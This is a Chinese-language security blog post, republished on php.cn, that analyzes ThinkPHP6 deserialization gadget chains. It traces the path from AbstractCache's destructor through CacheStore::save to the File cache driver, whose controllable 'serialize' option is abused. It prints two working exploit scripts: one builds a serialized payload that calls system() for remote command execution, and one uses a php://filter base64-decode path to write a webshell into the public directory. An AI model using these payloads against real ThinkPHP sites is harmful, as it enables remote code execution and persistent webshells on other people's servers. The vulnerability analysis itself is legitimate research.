0

0

关于thinkphp6的另反序列化分析

藏色散人

藏色散人

发布时间:2021-03-16 17:28:00

|

2456人浏览过

|

来源于segmentfault

转载

下面由thinkphp教程栏目给大家介绍关于thinkphp6的另反序列化分析,希望对需要的朋友有所帮助!

关于thinkphp6的另反序列化分析

Forward

之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;

首先环境可以composer一键搭建,然后php think run进行跑起来就可;

本文涉及知识点实操练习:ThinkPHP5远程命令执行漏洞(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。)

立即学习PHP免费学习笔记(深入)”;

text

首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;

protected $autosave = true;public function __destruct(){    if (! $this->autosave) {        $this->save();    }}

其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;

回溯save方法;在CacheStore中找到了save方法;具体代码如下;

public function save(){    $contents = $this->getForStorage();    $this->store->set($this->key, $contents, $this->expire);}

可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;

public function getForStorage()    {        $cleaned = $this->cleanContents($this->cache);        return json_encode([$cleaned, $this->complete]);}

发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;

   public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',            'md5',        ]);    foreach ($contents as $path => $object) {        if (is_array($object)) {            $contents[$path] = array_intersect_key($object, $cachedProperties);        }    }    return $contents;}

首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set方法的类,或者我们实例化一个存在__call方法的类;从而可以因为访问不存在的方法去调用到call魔术方法;这里我们先找到一个有set方法的类;在File类中找到:

public function set($name, $value, $expire = null): bool{    $this->writeTimes++;    if (is_null($expire)) {        $expire = $this->options['expire'];    }    $expire   = $this->getExpireTime($expire);    $filename = $this->getCacheKey($name);    $dir = dirname($filename);    if (!is_dir($dir)) {        try {            mkdir($dir, 0755, true);        } catch (\Exception $e) {            // 创建失败        }    }    $data = $this->serialize($value);    if ($this->options['data_compress'] && function_exists('gzcompress')) {        //数据压缩        $data = gzcompress($data, 3);    }    $data   = "\n" . $data;    $result = file_put_contents($filename, $data);    if ($result) {        clearstatcache();        return true;    }    return false;}

这里可利用点在后面的serialize方法;直接追溯一下;

protected function serialize($data): string{    if (is_numeric($data)) {        return (string) $data;    }     $serialize = $this->options['serialize'][0] ?? "serialize";     return $serialize($data);}

这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;

这里放出我自己写的exp;

id'];    }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCache{    protected $store;    protected $key;    public function __construct($store,$key,$expire)    {        $this->key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 's1mple',        'hash_type'     => 'md5',        'serialize'     => ['system'],    ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}

最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;

18d3f25c89625b6bfa090e15347dcc1.png

通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;

下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/

下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;

2397b211b881521f8fbcbf41322a196.png

在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;

明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;

key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 'php://filter/convert.base64-decode/resource=s1mple/../',        'hash_type'     => 'md5',        'serialize'     => ['serialize'],        'data_compress' => false    ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}

另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现;

b42d81712f37cad92ac791a640b32a5.png

最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;

70df5035743365be595dcbc24ab09ed.png

相关文章

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
composer是什么插件
composer是什么插件

Composer是一个PHP的依赖管理工具,它可以帮助开发者在PHP项目中管理和安装依赖的库文件。Composer通过一个中央化的存储库来管理所有的依赖库文件,这个存储库包含了各种可用的依赖库的信息和版本信息。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

154

2023.12.25

thinkphp和laravel哪个简单
thinkphp和laravel哪个简单

对于初学者来说,laravel 的入门门槛较低,更易上手,原因包括:1. 更简单的安装和配置;2. 丰富的文档和社区支持;3. 简洁易懂的语法和 api;4. 平缓的学习曲线。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

374

2024.04.10

thinkphp性能怎么样
thinkphp性能怎么样

thinkphp 是一款高性能的 php 框架,具备缓存机制、代码优化、并行处理和数据库优化等优势。官方性能测试显示,它每秒可处理超过 10,000 个请求,实际应用中被广泛用于京东商城、携程网等大型网站和企业系统。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

325

2024.04.10

string转int
string转int

在编程中,我们经常会遇到需要将字符串(str)转换为整数(int)的情况。这可能是因为我们需要对字符串进行数值计算,或者需要将用户输入的字符串转换为整数进行处理。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

463

2023.08.02

c语言中null和NULL的区别
c语言中null和NULL的区别

c语言中null和NULL的区别是:null是C语言中的一个宏定义,通常用来表示一个空指针,可以用于初始化指针变量,或者在条件语句中判断指针是否为空;NULL是C语言中的一个预定义常量,通常用来表示一个空值,用于表示一个空的指针、空的指针数组或者空的结构体指针。

236

2023.09.22

java中null的用法
java中null的用法

在Java中,null表示一个引用类型的变量不指向任何对象。可以将null赋值给任何引用类型的变量,包括类、接口、数组、字符串等。想了解更多null的相关内容,可以阅读本专题下面的文章。

458

2024.03.01

resource是什么文件
resource是什么文件

Resource文件是一种特殊类型的文件,它通常用于存储应用程序或操作系统中的各种资源信息。它们在应用程序开发中起着关键作用,并在跨平台开发和国际化方面提供支持。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

158

2023.12.20

if什么意思
if什么意思

if的意思是“如果”的条件。它是一个用于引导条件语句的关键词,用于根据特定条件的真假情况来执行不同的代码块。本专题提供if什么意思的相关文章,供大家免费阅读。

779

2023.08.22

C++ 设计模式与软件架构
C++ 设计模式与软件架构

本专题深入讲解 C++ 中的常见设计模式与架构优化,包括单例模式、工厂模式、观察者模式、策略模式、命令模式等,结合实际案例展示如何在 C++ 项目中应用这些模式提升代码可维护性与扩展性。通过案例分析,帮助开发者掌握 如何运用设计模式构建高质量的软件架构,提升系统的灵活性与可扩展性。

8

2026.01.30

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号